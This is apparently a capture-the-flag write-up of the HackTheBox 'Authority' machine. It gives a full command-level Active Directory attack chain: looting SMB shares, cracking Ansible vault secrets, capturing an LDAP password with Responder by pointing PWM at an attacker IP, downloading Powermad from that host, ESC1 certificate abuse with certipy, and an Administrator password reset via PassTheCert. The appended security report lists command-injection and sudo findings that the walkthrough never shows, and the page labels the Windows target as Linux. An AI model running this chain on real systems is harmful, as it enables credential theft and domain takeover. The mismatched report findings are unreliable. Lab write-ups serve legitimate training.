walkthrough

HackTheBox: Authority — Medium (Linux)

Full security assessment walkthrough for Authority on HackTheBox. Includes reconnaissance, enumeration, exploitation steps, and a professional penetration testing report with CVSS v3.1 scores and remediation guidance.

lazyhackers

Mar 26, 2026 · 1 min read · 1 views

Authority

HackTheBox

Linux Medium

📌 Introduction

HTB - Authority

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-07-16 22:31:42Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
|_ssl-date: 2023-07-16T22:32:35+00:00; +4h00m00s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: othername: UPN::[email protected], DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Not valid before: 2022-08-09T23:03:21
|_Not valid after:  2024-08-09T23:13:21
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
|_ssl-date: 2023-07-16T22:32:36+00:00; +4h00m00s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: othername: UPN::[email protected], DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Not valid before: 2022-08-09T23:03:21
|_Not valid after:  2024-08-09T23:13:21
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: othername: UPN::[email protected], DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Not valid before: 2022-08-09T23:03:21
|_Not valid after:  2024-08-09T23:13:21
|_ssl-date: 2023-07-16T22:32:35+00:00; +4h00m00s from scanner time.
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: othername: UPN::[email protected], DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Not valid before: 2022-08-09T23:03:21
|_Not valid after:  2024-08-09T23:13:21
|_ssl-date: 2023-07-16T22:32:36+00:00; +4h00m00s from scanner time.
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
8443/tcp  open  ssl/https-alt
| ssl-cert: Subject: commonName=172.16.2.118
| Not valid before: 2023-07-14T22:10:42
|_Not valid after:  2025-07-16T09:49:06
|_http-title: Site doesn't have a title (text/html;charset=ISO-8859-1).
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 200 
|     Content-Type: text/html;charset=ISO-8859-1
|     Content-Length: 82
|     Date: Sun, 16 Jul 2023 22:31:50 GMT
|     Connection: close
|     <html><head><meta http-equiv="refresh" content="0;URL='/pwm'"/></head></html>
|   GetRequest: 
|     HTTP/1.1 200 
|     Content-Type: text/html;charset=ISO-8859-1
|     Content-Length: 82
|     Date: Sun, 16 Jul 2023 22:31:48 GMT
|     Connection: close
|     <html><head><meta http-equiv="refresh" content="0;URL='/pwm'"/></head></html>
|   HTTPOptions: 
|     HTTP/1.1 200 
|     Allow: GET, HEAD, POST, OPTIONS
|     Content-Length: 0
|     Date: Sun, 16 Jul 2023 22:31:48 GMT
|     Connection: close
|   RTSPRequest: 
|     HTTP/1.1 400 
|     Content-Type: text/html;charset=utf-8
|     Content-Language: en
|     Content-Length: 1936
|     Date: Sun, 16 Jul 2023 22:31:56 GMT
|     Connection: close
|     <!doctype html><html lang="en"><head><title>HTTP Status 400 
|     Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400 
|_    Request</h1><hr class="line" /><p><b>Type</b> Exception Report</p><p><b>Message</b> Invalid character found in the HTTP protocol [RTSP&#47;1.00x0d0x0a0x0d0x0a...]</p><p><b>Description</b> The server cannot or will not process the request due to something that is perceived to be a client error (e.g., malformed request syntax, invalid
|_ssl-date: TLS randomness does not represent time
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0

🔖 Techniques & Vulnerabilities

rcesudoadcsesc1

🎯 Attack Surface Analysis

Port	Service	Version / Banner
53/tcp	domain	Simple DNS Plus
80/tcp	http	Microsoft IIS httpd 10.0
88/tcp	kerberos-sec	Microsoft Windows Kerberos (server time: 2023-07-16 22:31:42Z)
135/tcp	msrpc	Microsoft Windows RPC
139/tcp	netbios-ssn	Microsoft Windows netbios-ssn
389/tcp	ldap	Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
445/tcp	microsoft-ds?	464/tcp open kpasswd5?
636/tcp	ssl/ldap	Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
3268/tcp	ldap	Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
3269/tcp	ssl/ldap	Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
5985/tcp	http	Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
8443/tcp	ssl/https-alt	\| ssl-cert: Subject: commonName=172.16.2.118
9389/tcp	mc-nmf	.NET Message Framing
47001/tcp	http	Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

53/tcpDNS

Zone transfer (AXFR) reveals all DNS records if permitted
Subdomain brute-force to discover hidden services and admin panels
Reverse lookup enumeration to map IP ranges to hostnames
DNS cache poisoning on vulnerable resolvers

80/tcpHTTP

Content and directory discovery — hidden files, backup archives, development endpoints
CMS/framework fingerprinting enables targeted CVE research (WordPress, Joomla, Drupal)
SQL injection — database extraction, authentication bypass, or OS command execution
Command injection — OS execution via unsanitised parameter handling
Server-Side Template Injection (SSTI) — code execution through template engine abuse
Local File Inclusion (LFI) and path traversal — sensitive file disclosure
Server-Side Request Forgery (SSRF) — pivot to internal services and cloud metadata
File upload abuse — filter bypass for webshell placement
XML External Entity injection (XXE) in XML-consuming endpoints
Authentication and session weaknesses — weak passwords, predictable tokens

88/tcpKerberos

AS-REP Roasting — pre-auth disabled accounts yield tickets for offline cracking
Kerberoasting — SPN accounts yield TGS tickets for offline cracking
Golden Ticket — KRBTGT hash enables forging unrestricted domain access tickets
Silver Ticket — service account hash enables forging service-specific tickets
Pass-the-Ticket — inject valid tickets from memory to authenticate as another user
Kerberos delegation abuse — unconstrained or misconfigured constrained delegation

135/tcpMSRPC

RPC endpoint enumeration maps registered services and interfaces
DCOM lateral movement via Component Object Model
WMI remote execution with valid credentials
PrintSpooler (MS-RPRN) abuse coerces NTLM authentication

139/tcpNetBIOS-SMB

Null session enumeration of users, shares, and domain info
SMBv1 exploitation — EternalBlue (MS17-010) on unpatched systems
NTLM relay — captured auth relayed to other services
Credential brute-force against SMB authentication

389/tcpLDAP

Anonymous bind — unauthenticated enumeration of all AD objects
Password policy retrieval for informed brute-force strategy
BloodHound collection for AD attack path analysis
LDAP injection in web applications building directory queries from user input

445/tcpSMB

Share enumeration — scripts, configs, credentials in accessible shares
EternalBlue (MS17-010) — unauthenticated RCE on unpatched SMBv1 systems
NTLM relay attack — authentication coercion for lateral movement
Pass-the-Hash — NTLM hash authenticates without plaintext password
Credential brute-force and password spraying

636/tcpLDAPS

All LDAP attack vectors over encrypted channel
Client certificate authentication testing

3268/tcpldap

Enumerate service version for known CVEs
Test default/weak credentials
Review protocol-specific attack techniques

3269/tcpssl/ldap

Enumerate service version for known CVEs
Test default/weak credentials
Review protocol-specific attack techniques

5985/tcpWinRM

Valid credentials grant PowerShell remoting (Evil-WinRM)
Pass-the-Hash — NTLM hash authenticates without cleartext password
Token impersonation from elevated WinRM sessions

8443/tcpHTTPS-Alt

All HTTPS attacks over non-standard port
Management interface CVEs (vCenter, Confluence, Splunk)

9389/tcpmc-nmf

Enumerate service version for known CVEs
Test default/weak credentials
Review protocol-specific attack techniques

47001/tcphttp

Enumerate service version for known CVEs
Test default/weak credentials
Review protocol-specific attack techniques

📖 Walkthrough

Foothold -> `svc_ldap`

Sharename            Type      Comment
---------            ----      -------
ADMIN$               Disk      Remote Admin
C$                   Disk      Default share
Department Shares    Disk      
Development          Disk      
IPC$                 IPC       Remote IPC
NETLOGON             Disk      Logon server share 
SYSVOL               Disk      Logon server share

smbclient '//authority.htb/Department Shares' -N -c 'ls'

-> NTSTATUSACCESS_DENIED listing \*

smbclient '//authority.htb/Development' -N -c 'ls'

Automation                          D        0  Fri Mar 17 14:20:40 2023

smbclient '//authority.htb/Development' -N -c 'mask "";recurse ON;prompt OFF;mget *'

cat ./Automation/Ansible/PWM/defaults/main.yml

---
pwm_run_dir: "{{ lookup('env', 'PWD') }}"

pwm_hostname: authority.htb.corp
pwm_http_port: "{{ http_port }}"
pwm_https_port: "{{ https_port }}"
pwm_https_enable: true

pwm_require_ssl: false

pwm_admin_login: !vault |
          $ANSIBLE_VAULT;1.1;AES256
          32666534386435366537653136663731633138616264323230383566333966346662313161326239
          6134353663663462373265633832356663356239383039640a346431373431666433343434366139
          35653634376333666234613466396534343030656165396464323564373334616262613439343033
          6334326263326364380a653034313733326639323433626130343834663538326439636232306531
          3438

pwm_admin_password: !vault |
          $ANSIBLE_VAULT;1.1;AES256
          31356338343963323063373435363261323563393235633365356134616261666433393263373736
          3335616263326464633832376261306131303337653964350a363663623132353136346631396662
          38656432323830393339336231373637303535613636646561653637386634613862316638353530
          3930356637306461350a316466663037303037653761323565343338653934646533663365363035
          6531

ldap_uri: ldap://127.0.0.1/
ldap_base_dn: "DC=authority,DC=htb"
ldap_admin_password: !vault |
          $ANSIBLE_VAULT;1.1;AES256
          63303831303534303266356462373731393561313363313038376166336536666232626461653630
          3437333035366235613437373733316635313530326639330a643034623530623439616136363563
          34646237336164356438383034623462323531316333623135383134656263663266653938333334
          3238343230333633350a646664396565633037333431626163306531336336326665316430613566
          3764

cat main.yml | rg --multiline -e '\$ANSIBLE_VAULT;1.1;AES256$(\n.+)+' | sed 's/\s//g'

ansible2john ansible.hashes > ansible_vault.hash

john ansible_vault.hash -w=/usr/share/wordlists/rockyou.txt

!@#$%^&*

put each ansible vault hash ($ANSIBLE_VAULT;1.1;AES256) its own file -> ansible.hash.X

for x in {1,2,3};do ansible-vault decrypt ansible.hash.$x;done

DevT3st@123
pWm_@dm!N_!23
svc_pwm

https://authority.htb:8443/pwm/private/login

5017 ERROR_DIRECTORY_UNAVAILABLE (all ldap profiles are unreachable; errors: ["error connecting as proxy user: unable to create connection: unable to connect to any configured ldap url, last error: unable to bind to ldaps://authority.authority.htb:636 as CN=svc_ldap,OU=Service Accounts,OU=CORP,DC=authority,DC=htb reason: CommunicationException (authority.authority.htb:636; PKIX path building failed: sun.security.provider.certpath.SunCertPathBuilderException: unable to find valid certification path to requested target)"])

the svc_ldap SA is used to run this pwm instance

https://authority.htb:8443/pwm/private/config/login login using pWm@dm!N!23

Forced Authentication via plaintext LDAP to steal the password for the `svc_ldap` SA

https://authority.htb:8443/pwm/private/config/editor LDAP -> LDAP Directories -> default -> Connection LDAP URLs -> ldap://10.10.16.8:389

setup responder to respond to the incoming ldap connection and capture the password for svc_ldap

sudo responder -I tun0

Click Test LDAP Profile to force the svcldap SA to authenticate to your host using the plaintext ldap protocol. This way, responder can capture the plaintext password for the svcldap SA.

responder result:

[LDAP] Cleartext Client   : 10.129.33.195
[LDAP] Cleartext Username : CN=svc_ldap,OU=Service Accounts,OU=CORP,DC=authority,DC=htb
[LDAP] Cleartext Password : lDaP_1n_th3_cle4r!

evil-winrm -i 'authority.htb' -u 'svc_ldap' -p 'lDaP_1n_th3_cle4r!'

PrivEsc -> `Administrator`

Certify result:

*Evil-WinRM* PS C:\Users\svc_ldap\Documents> .\Certify.exe find /vulnerable

   _____          _   _  __
  / ____|        | | (_)/ _|
 | |     ___ _ __| |_ _| |_ _   _
 | |    / _ \ '__| __| |  _| | | |
 | |___|  __/ |  | |_| | | | |_| |
  \_____\___|_|   \__|_|_|  \__, |
                             __/ |
                            |___./
  v1.0.0

[*] Action: Find certificate templates
[*] Using the search base 'CN=Configuration,DC=authority,DC=htb'

[*] Listing info about the Enterprise CA 'AUTHORITY-CA'

    Enterprise CA Name            : AUTHORITY-CA
    DNS Hostname                  : authority.authority.htb
    FullName                      : authority.authority.htb\AUTHORITY-CA
    Flags                         : SUPPORTS_NT_AUTHENTICATION, CA_SERVERTYPE_ADVANCED
    Cert SubjectName              : CN=AUTHORITY-CA, DC=authority, DC=htb
    Cert Thumbprint               : 42A80DC79DD9CE76D032080B2F8B172BC29B0182
    Cert Serial                   : 2C4E1F3CA46BBDAF42A1DDE3EC33A6B4
    Cert Start Date               : 4/23/2023 9:46:26 PM
    Cert End Date                 : 4/23/2123 9:56:25 PM
    Cert Chain                    : CN=AUTHORITY-CA,DC=authority,DC=htb
    UserSpecifiedSAN              : Disabled
    CA Permissions                :
      Owner: BUILTIN\Administrators        S-1-5-32-544

      Access Rights                                     Principal

      Allow  Enroll                                     NT AUTHORITY\Authenticated UsersS-1-5-11
      Allow  ManageCA, ManageCertificates               BUILTIN\Administrators        S-1-5-32-544
      Allow  ManageCA, ManageCertificates               HTB\Domain Admins             S-1-5-21-622327497-3269355298-2248959698-512
      Allow  ManageCA, ManageCertificates               HTB\Enterprise Admins         S-1-5-21-622327497-3269355298-2248959698-519
    Enrollment Agent Restrictions : None

[!] Vulnerable Certificates Templates :

    CA Name                               : authority.authority.htb\AUTHORITY-CA
    Template Name                         : CorpVPN
    Schema Version                        : 2
    Validity Period                       : 20 years
    Renewal Period                        : 6 weeks
    msPKI-Certificate-Name-Flag          : ENROLLEE_SUPPLIES_SUBJECT
    mspki-enrollment-flag                 : INCLUDE_SYMMETRIC_ALGORITHMS, PUBLISH_TO_DS, AUTO_ENROLLMENT_CHECK_USER_DS_CERTIFICATE
    Authorized Signatures Required        : 0
    pkiextendedkeyusage                   : Client Authentication, Document Signing, Encrypting File System, IP security IKE intermediate, IP security user, KDC Authentication, Secure Email
    mspki-certificate-application-policy  : Client Authentication, Document Signing, Encrypting File System, IP security IKE intermediate, IP security user, KDC Authentication, Secure Email
    Permissions
      Enrollment Permissions
        Enrollment Rights           : HTB\Domain Admins             S-1-5-21-622327497-3269355298-2248959698-512
                                      HTB\Domain Computers          S-1-5-21-622327497-3269355298-2248959698-515
                                      HTB\Enterprise Admins         S-1-5-21-622327497-3269355298-2248959698-519
      Object Control Permissions
        Owner                       : HTB\Administrator             S-1-5-21-622327497-3269355298-2248959698-500
        WriteOwner Principals       : HTB\Administrator             S-1-5-21-622327497-3269355298-2248959698-500
                                      HTB\Domain Admins             S-1-5-21-622327497-3269355298-2248959698-512
                                      HTB\Enterprise Admins         S-1-5-21-622327497-3269355298-2248959698-519
        WriteDacl Principals        : HTB\Administrator             S-1-5-21-622327497-3269355298-2248959698-500
                                      HTB\Domain Admins             S-1-5-21-622327497-3269355298-2248959698-512
                                      HTB\Enterprise Admins         S-1-5-21-622327497-3269355298-2248959698-519
        WriteProperty Principals    : HTB\Administrator             S-1-5-21-622327497-3269355298-2248959698-500
                                      HTB\Domain Admins             S-1-5-21-622327497-3269355298-2248959698-512
                                      HTB\Enterprise Admins         S-1-5-21-622327497-3269355298-2248959698-519


Certify completed in 00:00:09.5986008

The CorpVPN certificate template is vulnerable to ADCS ESC1.

https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-misconfigured-certificate-template-to-domain-admin

The msPKI-Certificates-Name-Flag field with the value of ENROLLEESUPPLIESSUBJECT indicates that the user, who is requesting a new certificate based on this certificate template, can request the certificate for another user, meaning ANY user, including domain administrators.

By joining a machine account you control to the domain, using that domain joined machine account, you can request a certificate for the domain administrator using the vulnerable CorpVPN certificate template, and therefore escalate to domain administrator as you can use that certificate for login authentication.

Create and Join your Machine Account to the domain.
Request a certificate for the Domain Administrator using the CorpVPN certificate template.
Fail miserably trying to login using the certificate.

1. Login Fail via Evil-Winrm because the ssl port is closed. 3. Login Fail via PKINITtools -> gettgtpkinit.py because the CA does not allow Kerberos authentication.

Achieve GREAT SUCCESS by using PassTheCert for login.

wget https://raw.githubusercontent.com/Kevin-Robertson/Powermad/master/Powermad.ps1

iwr 10.10.16.8/Powermad.ps1 -o powermad.ps1
Import-Module .\powermad.ps1

create and join your machine account to the domain using powermad -> New-MachineAccount

$securePassword = ConvertTo-SecureString 'P@s$w0rd!' -AsPlainText -Force; 
New-MachineAccount -MachineAccount "cringe" -Password $securePassword;

use your machine account to request a certificate for the domain administrator with the vulnerable CorpVPN certificate template using certipy:

 certipy req -u 'cringe$' -p 'P@s$w0rd!' -ca 'AUTHORITY-CA' -target 'authority.htb' -template 'CorpVPN' -upn '[email protected]' -dns 'authority.htb'

https://notes.shashwatshah.me/windows/active-directory/winrm-using-certificate-pfx#for-linux

openssl pkcs12 -in administrator_authority.pfx -clcerts -nokeys -out administrator_authority.crt
openssl rsa -in administrator_authority.pfx -out administrator_authority.key

evil-winrm -i 'authority.htb' -u 'Administrator' -p '' -S -c administrator_authority.crt -k administrator_authority.key

Error: An error of type Errno::ECONNREFUSED happened, message is Connection refused - Connection refused - connect(2) for "authority.htb" port 5986 (authority.htb:5986)

cannot use winrm with the certificate because the ssl port for winrm: 5986 is closed

python3 ./gettgtpkinit.py 'authority.htb/administrator' administrator.ccache  -cert-pfx ./administrator_authority.pfx

2023-07-16 18:38:19,390 minikerberos INFO     Loading certificate and key from file
INFO:minikerberos:Loading certificate and key from file
2023-07-16 18:38:19,437 minikerberos INFO     Requesting TGT
INFO:minikerberos:Requesting TGT
Traceback (most recent call last):
  File "/home/void/PKINITtools/./gettgtpkinit.py", line 349, in <module>
    main()
  File "/home/void/PKINITtools/./gettgtpkinit.py", line 345, in main
    amain(args)
  File "/home/void/PKINITtools/./gettgtpkinit.py", line 315, in amain
    res = sock.sendrecv(req)
          ^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3/dist-packages/minikerberos/network/clientsocket.py", line 85, in sendrecv
    raise KerberosError(krb_message)
minikerberos.protocol.errors.KerberosError:  Error Name: KDC_ERR_PADATA_TYPE_NOSUPP Detail: "KDC has no support for PADATA type (pre-authentication data)"

https://offsec.almond.consulting/authenticating-with-certificates-when-pkinit-is-not-supported.html https://github.com/AlmondOffSec/PassTheCert/tree/main/Python

python3 ./passthecert.py -domain 'authority.htb' -dc-host 'authority.htb' -crt ./administrator_authority.crt -key ./administrator_authority.key -action 'modify_user' -target 'Administrator' -new-pass 'P@s$w0rd!'

evil-winrm -i 'authority.htb' -u 'administrator' -p 'P@s$w0rd!'

*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
htb\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents> hostname
authority

RID  : 000001f4 (500)
User : Administrator
  Hash NTLM: a15217bb5af3046c87b5bb6afa7b193e

📋 Security Assessment Report

Critical

High

Medium

Open Ports

F-001 — OS Command Injection — Remote Code Execution

9.8

Critical

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Description

During the penetration test, it was discovered that the application was found to pass user-supplied input directly to a system shell call without sanitisation. The vulnerable parameter was incorporated into an OS-level command, allowing an attacker to append arbitrary commands using shell metacharacters and control the execution context of the web server process.

Impact

An attacker can execute arbitrary OS commands on the server with the privileges of the web application process. This enables complete file system access, extraction of credentials from configuration files and environment variables, installation of persistent reverse shells and backdoors, and lateral movement to internally accessible services — all without requiring any additional authentication. During this engagement, OS command injection was chained to obtain full root access to the server.

Confidentiality

High

Integrity

High

Availability

High

Remediation

Never construct shell commands from user-supplied input under any circumstances. Replace shell invocations with language-native APIs that accept argument arrays (subprocess.run with list in Python, proc_open with array in PHP, execFile in Node.js). Apply strict allowlist validation to any parameter that influences system-level operations. Run the application under a dedicated low-privilege service account. Implement process monitoring to alert on anomalous child process spawning from web server processes.

F-002 — AD Certificate Services — ESC Misconfiguration

8.8

High

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Description

During the penetration test, it was discovered that the Active Directory Certificate Services (ADCS) environment contained one or more misconfigured certificate templates exhibiting known escalation conditions (ESC1, ESC4, ESC8). The identified template permitted enrolled users to supply a Subject Alternative Name (SAN) value, allowing the request of a certificate identifying any domain account — including Domain Administrators — without knowledge of that account's password.

Impact

An attacker with enrolment rights to the misconfigured template can request a certificate for any domain user, including Domain Admins, and use it to obtain a Kerberos TGT for the impersonated account — achieving complete domain compromise. Crucially, certificates remain valid even after the impersonated account's password is changed. During this engagement, ADCS misconfiguration was exploited to impersonate a Domain Administrator and achieve full domain takeover.

Confidentiality

High

Integrity

High

Availability

High

Remediation

Identify and remediate all misconfigured certificate templates using Certify or Certipy. Disable the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag on templates where users do not legitimately need to specify the SAN. Enable CA Manager approval for all sensitive template certificate requests. Implement Certificate Issuance Policies to restrict who can enrol for each template. Monitor CA audit logs for certificate requests containing unexpected SAN values.

F-003 — Sudo Misconfiguration — Root Privilege Escalation

7.8

High

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Description

During the penetration test, it was discovered that the sudoers configuration was found to grant the compromised user the ability to execute one or more programs as root with the NOPASSWD flag or without sufficient restriction on permitted arguments. The granted binary was identified in the GTFOBins database as capable of spawning a privileged shell or reading root-owned files outside its intended function.

Impact

An attacker with access to the low-privilege account can immediately escalate to root by invoking the sudo-permitted binary in a manner that escapes to a privileged shell — requiring no password, no additional vulnerability, and no waiting. During this engagement, this misconfiguration was exploited to obtain a root shell within seconds of gaining the initial foothold, resulting in complete host compromise.

Confidentiality

High

Integrity

High

Availability

High

Remediation

Audit all sudoers entries and apply strict least privilege — grant only the minimum required binary with explicit, restricted arguments where possible. Avoid granting sudo access to interpreters (python, perl, ruby), text editors, file management utilities, or any binary listed in GTFOBins. Remove NOPASSWD where feasible. Periodically review sudoers entries using visudo and remove any unnecessary grants. Consider purpose-built privilege delegation tools as an alternative to broad sudo grants.

Reactions

Vulnlab: Baby — Medium (Linux) 6 · 1m Vulnlab: Watcher — Medium (Linux) 5 · 1m Vulnlab: Escape — Easy (Windows) 3 · 1m HackTheBox Pro Lab: Heron 3 · 1m

Published	Mar 26, 2026
Updated	Mar 29, 2026
Reading time	1 min
Views	1
Access	public

📌 Introduction

HTB - Authority

🔖 Techniques & Vulnerabilities

🎯 Attack Surface Analysis

📖 Walkthrough

Foothold -> svc_ldap

Forced Authentication via plaintext LDAP to steal the password for the svc_ldap SA

PrivEsc -> Administrator

📋 Security Assessment Report

Description

Impact

Remediation

Description

Impact

Remediation

Description

Impact

Remediation

Related Articles

Foothold -> `svc_ldap`

Forced Authentication via plaintext LDAP to steal the password for the `svc_ldap` SA

PrivEsc -> `Administrator`